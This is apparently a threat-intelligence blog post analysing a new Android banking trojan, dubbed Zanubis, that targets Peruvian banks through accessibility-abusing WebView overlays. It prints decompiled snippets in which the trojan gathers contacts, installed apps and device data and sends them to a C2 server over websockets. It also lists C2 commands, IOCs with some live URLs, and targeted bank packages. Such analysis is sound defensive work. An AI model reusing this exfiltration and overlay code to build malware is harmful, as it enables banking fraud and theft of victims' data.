Brief note: I analyzed this sample I found thanks to MHT's tweet https://twitter.com/malwrhunterteam/status/1564972377452298245?s=20&t=hqLnACKdbcCOPLjLrNMfyw
07/09/2022 update at the end.
This is the first time I see this sample, not sure if there is more documentation about it (if there is, please let me know). I am going to refer to this sample as Zanubis from now on, the reasoning behind this is the decryption key being Zanubis in the sample I analyzed. At the end, IOCs, SHA256 and targeted banks can be found.
At the time of this writing, the samples were not packed and still contained logging from the authors. These samples are likely still not final versions.
The trojan
This is an overlay-based banking trojan abusing accessibility, the infection method the standard one and it stores a list of applications in shared_preferences. It is focused on targeting LATAM banks and in this sample it focuses on Peru banks.
On startup, the ServerPrimerosPasos() method is called and retrieves the following information:
List of contacts of the device
List of installed applications
Device data which includes:
manufacturer
model
fingerprint
It checks for the brand of the device and checks specifically for Motorola, Samsung and Huawei devices.
Ignore battery optimizations.
This information is formatted and sent to the remote server via websockets:
public void ServerPrimerosPasos() { try { String contactos = this.funciones.ObtenerContactos(); String apps = this.funciones.ObtenerApps(); String datosTelefono = this.dispositivo.ObtenerDatos(); String cont_res = "{ " + this.funciones.ObtenerIdCliente() + ", \"contactos\" : " + contactos + ", \"apps\" : " + apps + ", \"device_info\" : " + datosTelefono + " }"; this.socket.emit("datos_iniciales_cliente", str_encript(cont_res, this.config.KEY_STR)); } catch (Exception e) { } } |
Websocket communications
Once the sample is installed in the victims device, it uses the hardcoded initial URL to post data to a remote server. After the first post, the next ones will receive encrypted strings from both the trojan and the server:
 |
| Initial data sent (on install) |
 |
Response received (on install)
|
 |
| Device configuration |
 |
| Device packages |
The vistas package contains all the code related to Views and WebViews, including tests and customized views to request the SMS, Battery and accessibility permissions. The authors have left some logging comments in the sample. Likely to debug their code:
Log.e("vista alerta", "en teoria se esta creando la ventana");
Information is posted to the remote server via the NotificarPost method:
public void NotificarPost(String contenido) { FnApiCon apiCon = new FnApiCon(new FnApiCon.AsyncResponse() { // from class: com.personal.pdf.funciones.Funciones.1 @Override // com.personal.pdf.funciones.FnApiCon.AsyncResponse public void processFinish(String output) { } }); apiCon.prepararConsulta("d=" + contenido, this.context); apiCon.execute(new String[0]); } |
Configuration
The class called Configuracion stores the default configuration of the sample. The most important information that is stored here for us is:
KEY_STR: Used to encrypt messages as seen in the ServerPrimerosPasos() screenshots
URL_INICIAL: Is the startup URL that is used on onCreate within a WebView and enables Javascript content
PREF_LLAVE
SOCKET_SERVER: Remote address to open a WebSocket. This websocket exposes the following commands:
config_packages: Returns the list of installed packages in the system
desinstalar_app and eliminar_app: Deletes the target application
bloquear_telefono: Locks the screen
notificacion: Sends a push notification to the user. The message is received from the socket and decrypted
enviar_sms: Sends an SMS
permiso_contacto: Requests the contacts permiso
permiso_sms: Get SMS permission
rev_permiso_sms: Reset SMS permission
unlock_package: Allow the target package to be uninstalled
Next are some code snippets related to the previous commands:
this.socket.on("notificacion", new Emitter.Listener() { // from class: com.personal.pdf.funciones.SocketCon.8 @Override // io.socket.emitter.Emitter.Listener public void call(Object... args) { String desencriptado = SocketCon.this.str_decrypt(args[0].toString(), SocketCon.this.config.KEY_STR); String titulo = ""; String mensaje = ""; try { JSONObject json = new JSONObject(desencriptado); if (!json.isNull("titulo") && !json.getString("titulo").equals("")) { titulo = json.getString("titulo"); } if (!json.isNull("mensaje") && !json.getString("mensaje").equals("")) { mensaje = json.getString("mensaje"); } } catch (Exception e2) { } Intent dialogIntent = new Intent(SocketCon.this.context, vista_popup.class); dialogIntent.addFlags(268435456); dialogIntent.addFlags(BasicMeasure.EXACTLY); dialogIntent.addFlags(32768); dialogIntent.addFlags(67108864); dialogIntent.putExtra("titulo", titulo); dialogIntent.putExtra("mensaje", mensaje); SocketCon.this.context.startActivity(dialogIntent); } |
public void ServerPrimerosPasos() { try { String contactos = this.funciones.ObtenerContactos(); String apps = this.funciones.ObtenerApps(); String datosTelefono = this.dispositivo.ObtenerDatos(); String cont_res = "{ " + this.funciones.ObtenerIdCliente() + ", \"contactos\" : " + contactos + ", \"apps\" : " + apps + ", \"device_info\" : " + datosTelefono + " }"; this.socket.emit("datos_iniciales_cliente", str_encript(cont_res, this.config.KEY_STR)); } catch (Exception e) { } } |
Socket socket3 = IO.socket(String.valueOf(Uri.parse("http://" + this.preference.getServerApp() + ":" + this.config.SOCKET_PUERTO))); this.socket = socket3; try { socket3.connect(); } catch (Exception e) { Socket socket4 = this.socket; if (socket4 != null) { socket4.disconnect(); this.socket.close(); this.socket = null; } this.conectado = false; } |
Data Encryption
To encrypt and decrypt data it has implemented a class named Cripto where all the methods for both encryption/decryption of strings are stored. 
Overlays
The overlays work by checking the list of packages to monitor from pref_config_package and then it will check it whenever an application opens:
{ if (!this.preference.getTargetPackage().equals("")) { String[] targets = this.preference.getTargetPackage().split(this.config.SPLIT_PREFERENCE); String[] noTargets = this.preference.getNoTargetPackage().split(this.config.SPLIT_PREFERENCE); this.rutas = this.preference.getTargetUrl().split(this.config.SPLIT_PREFERENCE); for (int i = 0; i < targets.length; i++) { try { if (nodeInfo.getPackageName().toString().equals(targets[i])) { boolean encontro = false; for (String item : noTargets) { if (item.equals(targets[i])) { encontro = true; } } if (!encontro) { z = true; } else { z = false; } if (z & (!this.rutas[i].equals(""))) { mostrarActivityNavegador(this.rutas[i], targets[i]); } } } catch (Exception e12) { } } |
If the application is in the list of targets then a WebView will be overlayed on the victims device.
VT Collection
https://www.virustotal.com/gui/collection/1857e2a8e8677e5f0b0edb38dff9e83795cd50be1e4f8771e2d374f99e4edb45
IOCs
0198b8fa11bf9e8442defa00befa2ab224ada5ebb4a60256f2bf5fc491cca0a1
33adbff1a79da4a3fde49cececac5a6b99bf217be0c6db6cdf85a46bf2087e57
95242e1d105de9c33b2c9d8a9514f58327ca32d7d24af9af19ff3f0d075ea451
http[:]//92.38.132.217[:]8000/socket.io/?EIO=4&transport=polling&sid=aqOxTFmMn8gXqrvMAAru
https[:]//justpaste[.]it/8j6de
http[:]//004.fullcircleteam[.]com/014/e08133e07fc400a116ed6ef01cfde577/inicio?c000=mnn
https[:]//001.fullcircleteam[.]com/?c000=mnn
- https[:]//002.fullcircleteam[.]com/?c000=mnn
- https[:]//003.fullcircleteam[.]com/?c000=mnn
Targeted banks
pe.com.interbank.mobilebanking
pe.com.scotiabank.blpm.android.client
pe.com.bn.app.bancodelanacion
com.mibanco.bancamovil
pe.com.banBifBanking.icBanking.androidUI
com.bbva.nxt_peru
com.bcp.innovacxion.yapeapp
per.bf.desa
com.pe.cajasullana.cajamovil
com.bcp.bank.bcp
pe.pichincha.bm
com.cajahuancayo.cajahuancayo.appcajahuancayo
pe.cajapiura.bancamovil
com.cmacica.prd
pe.interbank.bie
pe.com.scotiabank.businessbanking
com.bcp.bank.tlc
com.alfinbanco.appclientes
pe.com.bancomercio.mobilebanking
com.bm_gnb_pe
com.whatsapp
com.ripley.banco.peru
com.zoluxiones.officebanking
com.cmac.cajamovilaqp
pe.com.cajametropolitana.homebankingcml.cmlhomebanking
com.pe.cajacusco.movil
com.caja.myapplication
com.cajamaynas.cajamaynas
com.cajatacna.droid
com.appcajatrujillo
pe.com.tarjetacencosud.canales.mitarjetacencosud
pe.com.cajacentro
pe.com.prymera.digital.app
pe.com.compartamos.bancamovil
pe.confianza.bancamovil
id=com.credinkamovil.pe
pe.com.scotiabank.blpm.android.client.csf
com.efectivadigital.appclientes
pe.solera.tarjetaoh
com.qapaq.banking
com.google.android.gm
07/09/02 update
IOCs
- 9da516e0a2d17efe8646c1e93450cb80beafabbeb362f992ce6de0a0365da142
- d03deb4f97ee45ec9651dc5d54db8ca523dc4307521cae3f88b966fa9bc29096
- 9b512b9809b72b11d7bca5712517d34d6b3c4009f5518af31e5094671ec737b5
New samples popped up showing modified strings on the commands. The unlock_package command is now called desbloquear_paquete, translated into Spanish.
Also updates to the socket code, the SMS functions have new code added:
Also, a new setting is present:
13/09/22 update
SHA256: 8b36ba2150047191c388ec2f12a7c28cd82b7eccb9b626e8a8620faefee0c9bf
IOCs:
- http://92.38.132.217:8000/instalado
- http://christopherwilhelm.com/2/assets/css/animate.min.css
- http://christopherwilhelm.com/2/imagenes/motorola/motorola_r_1.png
- http://christopherwilhelm.com/2/imagenes/motorola/motorola_r_2.png
- http://christopherwilhelm.com/2/imagenes/motorola/motorola_r_3.png
- http://christopherwilhelm.com/2/index.php?q=001?q=004&id=d042ef59b121e01e
- http://christopherwilhelm.com/favicon.ico
Some changes to the code, more additions but what is interesting is the fact they are obfuscating their APKs to slow down analysis:
